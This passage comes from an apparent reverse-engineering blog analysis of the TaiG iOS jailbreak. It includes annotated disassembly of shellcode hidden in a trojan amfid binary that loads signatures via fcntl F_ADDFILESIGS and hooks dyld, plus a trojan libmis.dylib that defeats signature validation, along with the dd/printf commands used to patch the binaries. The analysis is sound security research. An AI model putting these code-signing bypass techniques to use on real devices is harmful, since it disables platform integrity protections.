> 00000c90  00 00 00 3a 00 03 9c 50 14 01 00 0c 00 00 00 00 "...:...P........"
> 00000ca0  00 00 00 00 63 6f 6d 2e 61 70 70 6c 65 2e 64 79 "....com.apple.dy"
> 00000cb0  6c 64 00 3a 75 f6 db 05 85 29 14 8e 14 dd 7e a1 "ld.:u....)....~."
> 00000cc0  b4 72 9c c0 9e c9 73                            ".r....s         "

And indeed, 0xfade0cc0 is the CSMAGIC_EMBEDDED_SIGNATURE. But what is it being replaced with?!

III. Shellcode!

Random looking junk distributed too uniformly could imply shellcode. so it would be great to try and disassemble..

We do need to fix the addresses first -- the mystery code is loaded into __LINKEDIT, at offset 0x39c50. __LINKEDIT starts at offset 0x2c000.. So we are therefore 0xdc50 bytes into the segment. This would therefore translate to the (nonslid) address of 0x12006dc50. 944 bytes are up to 236 instructions (thankfully, ARM64 has fixed 4-byte), so a simple empty binary (full of "MOV X0,X0" or some other garbage) would work well here. I have a sample program (already patched, with the companion file for it), Right here.

# Patch code over whatever's in the file...
Phontifex:/tmp/final root# dd if=mystery of=hello bs=1 seek=0x76b0 conv=notrunc
# Patch segment start
Phontifex:/tmp/final root# printf "\x00\xd0\x06\x20" >> patch2
Phontifex:/tmp/final root# dd if=patch2 of=hello bs=1 seek=0x80 count=4 conv=notrunc
# Patch section start
Phontifex:/tmp/final root# printf "\x50\xdc\x06\x20" > patch
Phontifex:/tmp/final root# dd if=patch of=hello bs=1 seek=0xd0 count=4 conv=notrunc 
# Make sure it looks ok
Phontifex:/tmp/final root# jtool -l hello
LC 00: LC_SEGMENT_64          Mem: 0x000000000-0x100000000      File: Not Mapped        ---/--- __PAGEZERO
LC 01: LC_SEGMENT_64          Mem: 0x12006d000-0x120075000      File: 0x0-0x8000        r-x/r-x __TEXT
        Mem: 0x12006dc50-0x12006e558    File: 0x000076b0-0x00007fb8             __TEXT.__text   (Normal)
        Mem: 0x100007fb8-0x100008000    File: 0x00007fb8-0x00008000             __TEXT.__unwind_info    
LC 02: LC_SEGMENT_64          Mem: 0x100008000-0x10000c000      File: 0x8000-0x80c0     r--/r-- __LINKEDIT
	...
# In practice, most of the mystery bytes are NULL so 50 lines of assembly are enough
Phontifex:/tmp/final root# jtool --html -d __TEXT.__text out.html | head -50 > out.html

And the code - right from the HTML - is included here. The comments were also generated with the help of a companion file ,which is kind of like jtool's skimmed version of DWARF (-:

Disassembling from file offset 0xc50, Address 0x12006dc50 
; This will hook __ZNK16ImageLoaderMachO6getEndEv (ImageLoaderMachO::getEnd() const),
; patch a global to 0 first, and call it (notice the "B" to it, so it will return to the caller)
; (q.v. dyld 353 sources, ImageLoaderMachO.cpp)
   12006dc50	ADRP   x8, 2097084; ; ->R8 = 0x120029000 
   12006dc54	ADD    X8, X8, #569; ; ..R8 = R8 (0x120029000) + 0x239 = 0x120029239 
   12006dc58	STR    W31, [X8, #0]; ; *((0x120029239) + 0x0) *0x120029239 = X31 0x0
   12006dc5c	B      0x120010a04    	0x120010a04;  __ZNK16ImageLoaderMachO6getEndEv
;
; ----- This is our entry point (q.v. comex clarification, below)
; Start here
   12006dc60	ADD    X28, X31, #0; ; ..R28 = R31 (0x0) + 0x0 = 0x0 
   12006dcd4	AND    SP, X28, #0xfffffffffffffff0
   12006dc68	SUB    X31, X31, #32
; int fd = open ("/usr/libexec/amfid_d"); 
   12006dc6c	ADRP   x19, 3; ; ->R19 = 0x120070000 
   12006dc70	ADD    X19, X19, #0; ; ..R19 = R19 (0x120070000) + 0x0 = 0x120070000 
   12006dc74	MOV    X0, X19
   12006dc78	MOVZ   W1, #0; ; ->R1 = 0x0 
   12006dc7c	MOVZ   W2, #0; ; ->R2 = 0x0 
   12006dc80	BL     _open    	0x120021630
; fcntl (fd,  F_ADDFILESIGS) ;
   12006dc84	MOVZ   W1, #61; ; ->R1 = 0x3d 
   12006dc88	ADD    X8, X19, #256; ; ..R8 = R19 (0x120070000) + 0x100 = 0x120070100  
   12006dc8c	STR    X8, [X31, #0]; ; *((0x0) + 0x0) *0x0 = X8 0x120070100 - in page 56
   12006dc90	BL     _fcntl    	0x12002149c
; int fd1 = open ("/usr/libexec/amfid"); 
   12006dc94	ADD    X0, X19, #512; ; ..R0 = R19 (0x120070000) + 0x200 = 0x120070200 
   12006dc98	MOVZ   W1, #0; ; ->R1 = 0x0 
   12006dc9c	MOVZ   W2, #0; ; ->R2 = 0x0 
   12006dca0	BL     _open    	0x120021630 
; fcntl (fd1,  F_ADDFILESIGS) ;
   12006dca4	MOVZ   W1, #61; ; ->R1 = 0x3d 
   12006dca8	ADD    X8, X19, #768; ; ..R8 = R19 (0x120070000) + 0x300 = 0x120070300 
   12006dcac	STR    X8, [X31, #0]; ; *((0x0) + 0x0) *0x0 = X8 0x120070300
   12006dcb0	BL     _fcntl    	0x12002149c
; Embed our hook address (0x12006d5c0) right on __ZNK16ImageLoaderMachO6getEndEv 
   12006dcb4	MOVZ   X0, #1, LSL #-32; ; ->R0 = 0x100000000 ; __mh_execute_header
   12006dcb8	MOVK   X0, #8198, LSL 16; ; R0 += 20060000 =.. 0x120060000 
   12006dcbc	MOVK   X0, #56400; ; R0 += dc50 =.. 0x12006dc50 
   12006dcc0	ADRP   x1, 2097083; ; ->R1 = 0x120028000 
   12006dcc4	ADD    X1, X1, #1288; ; ..R1 = R1 (0x120028000) + 0x508 = 0x120028508 
   12006dcc8	STR    X0, [X1, #0]; ; *((0x120028508) + 0x0) *0x120028508 = X0 0x12006dc50
; And also on another location of __ZNK16ImageLoaderMachO6getEndEv 
   12006dccc	ADRP   x1, 2097083; ; ->R1 = 0x120028000 
   12006dcd0	ADD    X1, X1, #2088; ; ..R1 = R1 (0x120028000) + 0x828 = 0x120028828 
   12006dcd4	STR    X0, [X1, #0]; ; *((0x120028828) + 0x0) *0x120028828 = X0 0x12006dc50
;
   12006dcd8	ADD    X31, X28, #0; ; ..R31 = R28 (0x0) + 0x0 = 0x0 
   12006dcdc	LDR    X0, [X28, #0]; ..??
   12006dce0	LDR    X1, [X19, #1024]; ; R1 = *(R19(0x120070000) + 0x400) = *(0x120070400) => 0x0
   12006dce4	SUB    X0, X0, X1
   12006dce8	STR    X0, [X28, #0]; ; *((0x0) + 0x0) *0x0 = X0 0x3f3f3f3f
;
   12006dcec	ADRP   x1, 2097088; ; ->R1 = 0x12002d000 
   12006dcf0	ADD    X1, X1, #501; ; ..R1 = R1 (0x12002d000) + 0x1f5 = 0x12002d1f5 
   12006dcf4	MOVZ   W0, #1; ; ->R0 = 0x1 
   12006dcf8	STRB   X0, [ X1 , 0]
; And let the games begin!
   12006dcfc	B      _dyld_start    	; 0x120001000
   12006dd00	DCD    0x0
   12006dd04	DCD    0x0
   ... (all null bytes from here) ...

You might want to check this yourself:

Phontifex:/tmp/final root# jtool -d 0x120028508  dyld.arch_arm64 
Dumping from address 0x120028508 (Segment: __DATA.__const)
0x120028508: 04 0a 01 20 01 00 00 00 __ZNK16ImageLoaderMachO6getEndEv 
Phontifex:/tmp/final root# jtool -d 0x120028828  dyld.arch_arm64 
Dumping from address 0x120028828 (Segment: __DATA.__const)
0x120028828: 04 0a 01 20 01 00 00 00 __ZNK16ImageLoaderMachO6getEndEv 
Phontifex:/tmp/final root# jtool -d 0x120021630 dyld.arch_arm64 
Disassembling from file offset 0x21630, Address 0x120021630  to next symbol
_open:
   120021630	STP    X29, X30, [X31,#-16]!
   120021634	ADD    X29, X31, #0; ..R29 = R31 (0x0) + 0x0 = 0x0 
   120021638	LDR    X2, [X29, #16]..??
   12002163c	BL     ___open	; 0x120021cc0
   120021640	ADD    X31, X29, #0; ..R31 = R29 (0x0) + 0x0 = 0x0 
   120021644	LDP    X29, X30, [X31],#16
   120021648	RET    
# And believe me it also works for fcntl :-)

And now you know why we needed that page56, above (the third invalid page, with hash 489d86b8874964f514f8baf1a8c8921ac1667d97 ) - It contains the strings "/usr/libexec/amfid" and "/usr/libexec/amfid_d"). All pieces are present and accounted for.

Long story short: The shellcode opens both /usr/libexec/amfid and /usr/libexec/amfid_d and uses fcntl with the little known F_ADDFILESIGS operation (q.v. /usr/include/sys/fcntl.h - "/* add signature from same file (used by dyld for shared libs) */")to ...well... add their signatures!. That's it! The trojan amfid can now execute uninhibited!

Edit: The Comex Clarification

Ok. Maybe that was a little bit too short :-) They tell me that @comex noted I left out where the code exec happens. Sorry. I thought that was obvious. Writing this loooong screed at the wee hours, it must have eluded me. Once more, I bring jtool to hunt for the evidence:

# Look at all the segments of amfid_d (-l, grep) here via LC_SEGMENT (but not SEGMENT_SPLIT) commands
Phontifex:/tmp root# jtool  -v -l /usr/libexec/amfid_d.arch_1  | grep SEGM | grep -v SPLIT
LC 00: LC_SEGMENT_64          Mem: 0x120008000-0x120028000	File: 0x4000-0x24000	r-x/r-x	__TEXT
LC 01: LC_SEGMENT_64          Mem: 0x120028000-0x120060000	File: 0x24000-0x28000	rw-/rw-	__DATA
LC 02: LC_SEGMENT_64          Mem: 0x120060000-0x120070000	File: 0x28000-0x38000	r-x/r-x	__LINKEDIT # <- r-x!!!!!!
LC 14: LC_SEGMENT_64          Mem: 0x120070000-0x120074000	File: 0x38000-0x3c000	rw-/rw-	__FAKEDATA
LC 15: LC_SEGMENT_64          Mem: 0x120000000-0x120008000	File: 0x3c000-0x44000	r-x/r-x	__FAKETEXT
# More importantly, look at the entry point (via UNIXTHREAD, the old style load command)
Phontifex:/tmp root# jtool  -v -l /usr/libexec/amfid_d.arch_1  | grep UNIX
LC 09: LC_UNIXTHREAD         	Entry Point:             0x12006dc60 # <<-- Start here

Note the entry point: 12006dc60. I marked that in the shellcode output, above. As for the five segments you see here, those are the 1..5 I talked about earlier in the procexp output. For the lazy:

# Use procexp with grep to isolate amfid
Phontifex:/tmp root# procexp 171 regions | grep amfid_d
Mach-O                 0xcc7396e7 000000012008c000-0000000120094000 [  32K]r-x/r-x  /usr/libexec/amfid_d
Mach-O                 0xcc7396e7 0000000120094000-00000001200b4000 [ 128K]r-x/r-x  /usr/libexec/amfid_d
Mach-O                 0xcc7396e7 00000001200b4000-00000001200b8000 [  16K]rw-/rw-  /usr/libexec/amfid_d
Mach-O                 0xcc7396e7 00000001200ec000-00000001200fc000 [  64K]r-x/r-x  /usr/libexec/amfid_d # <-- r-x!!!!
Mach-O                 0xcc7396e7 00000001200fc000-0000000120100000 [  16K]rw-/rw-  /usr/libexec/amfid_d

The main thing to note here is that __LINKEDIT is made executable - and that's where the entrypoint/area-formely-known-as-the-code-signature gets executed. Capiche?

(btw, people, I don't watch TWTR or Reddit regularly - feedback is handled faster by the Book forum thread)

This is, for lack of a better word, $#%$#%$#%$# Brilliant! 精彩.. 卓越的越狱! My only qualm is that this could have been used for iOS 9...

IV. libmis.dylib

This one is super easy, since TaiG is reusing this proven method (though I wouldn't be surprised if they were accused of stealing it..) Extracting /usr/lib/libmis.dylib shows us this is clearly the trojan library. To extract memory from running processes, I use my coreruption tool. This is a set of tools all-in-one for process intrusion (think jtool versatile, on running code.. kind of like the Volatility framework, but for iOS, and with more features) which I use.

Phontifex:~ root# coreruption readmem -p 165 -addr 0x0000000100064000 -dump 0x5000
Wrote 5000 bytes from PID 165, address 100064000 to /tmp/out.bin
Phontifex:~ root# jtool -l /tmp/out.bin
LC 00: LC_SEGMENT_64          Mem: 0x000000000-0x4000	__TEXT
	Mem: 0x000004000-0x000004000		__TEXT.__text	(Normal)
LC 01: LC_SEGMENT_64          Mem: 0x000004000-0x8000	__LINKEDIT
LC 02: LC_ID_DYLIB           	/usr/lib/libmis.dylib
LC 03: LC_DYLD_INFO          
LC 04: LC_SYMTAB             
	Symbol table is at offset 0x42b0 (17072), 14 entries
	String table is at offset 0x4390 (17296), 716 bytes
LC 05: LC_DYSYMTAB           	   No local symbols
	   10 external symbols at index  0
	    4 undefined symbols at index 10
	   No TOC
	   No modtab
	   No Indirect symbols

LC 06: LC_UUID               	UUID: 7F418BC1-163B-367B-BED8-A2D5FBA95C83
LC 07: LC_VERSION_MIN_IPHONEOS	Minimum iOS  version:    7.0.0
LC 08: LC_SOURCE_VERSION     	Source Version:          0.0.0.0.0
LC 09: LC_SEGMENT_SPLIT_INFO 	Offset: 16936, Size: 8 (0x4228-0x4230) 
LC 10: LC_LOAD_DYLIB         	/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation
LC 11: LC_LOAD_DYLIB         	/usr/lib/libSystem.B.dylib
LC 12: LC_FUNCTION_STARTS    	Offset: 16944, Size: 8 (0x4230-0x4238) with 0 functions
LC 13: LC_DATA_IN_CODE       	Offset: 16952, Size: 0 (0x4238-0x4238) 
LC 14: LC_DYLIB_CODE_SIGN_DRS	Offset: 16952, Size: 120 (0x4238-0x42b0) 
Note, no code signature here..
Phontifex:~ root# jtool -S /tmp/out.bin
         I _MISValidateSignature (indirect for _CFEqual)  # Never gets old..
         I _kMISValidationInfoEntitlements (indirect for _kCFUserNotificationTokenKey)
         I _kMISValidationInfoSignerCertificate (indirect for _kCFUserNotificationTokenKey)
         I _kMISValidationInfoSigningID (indirect for _kCFUserNotificationTokenKey)
         I _kMISValidationInfoValidatedByProfile (indirect for _kCFUserNotificationTokenKey)
         I _kMISValidationOptionAllowAdHocSigning (indirect for _kCFUserNotificationTokenKey)
         I _kMISValidationOptionExpectedHash (indirect for _kCFUserNotificationTimeoutKey)
         I _kMISValidationOptionLogResourceErrors (indirect for _kCFUserNotificationTokenKey)
         I _kMISValidationOptionUniversalFileOffset (indirect for _kCFUserNotificationTokenKey)
         I _kMISValidationOptionValidateSignatureOnly (indirect for _kCFUserNotificationTokenKey)
         U _CFEqual
         U _kCFUserNotificationTimeoutKey
         U _kCFUserNotificationTokenKey
         U dyld_stub_binder

Though it's hard to see without obtrusive inspection of the process (which is difficult, since lldb crashes on it, though fortunately coreruption prevails), the "trojan" amfid is doing exactly what the original would do - waiting for requests on the Mach port (host special port 18) from AppleMobileFileIntegrity.kext. This is required because the taig untether is not validly code signed, and would be killed unless amfid vouches for it. As you'll see later, as part of its patches it disables MACF partially via security.mac.proc_enforce, but it can only do that if it successfully executes. Its libmis.dylib (unsigned) performs the well known evasi0n

From my experiments, amfid is extremely unstable and sooner or later crashes. For most jailbreak users, this is inconsequental, and they won't notice anything. amfid's other role, however, is to answer the kext when it checks for unrestricted debugging (i.e. if amfid dies or crashes, lldb won't be able to use task_for_pid freely, even with an entitlement - lldb will hang, and AMFId will complain (via dmesg/syslog) with the ominous message "int _permitUnrestrictedDebugging(): permit_unrestricted_debugging server is dead" coming from the kext. (@comex: - that's an unintended consequence of crashing).

All this was just the backdrop to allow the untether (/taig/taig) to run. But that's enough for one looooong article. More to follow soon.


Greets


Notes:

For comments/questions, please use the New OS X Book forum. If you're interested in learning more about our trainings @Technologeeks (the upcoming one is at max capacity, but we're planning another mid December!), find details here.

.

* - This was published 28 days after this.... hence the title.

Coming soon: The untether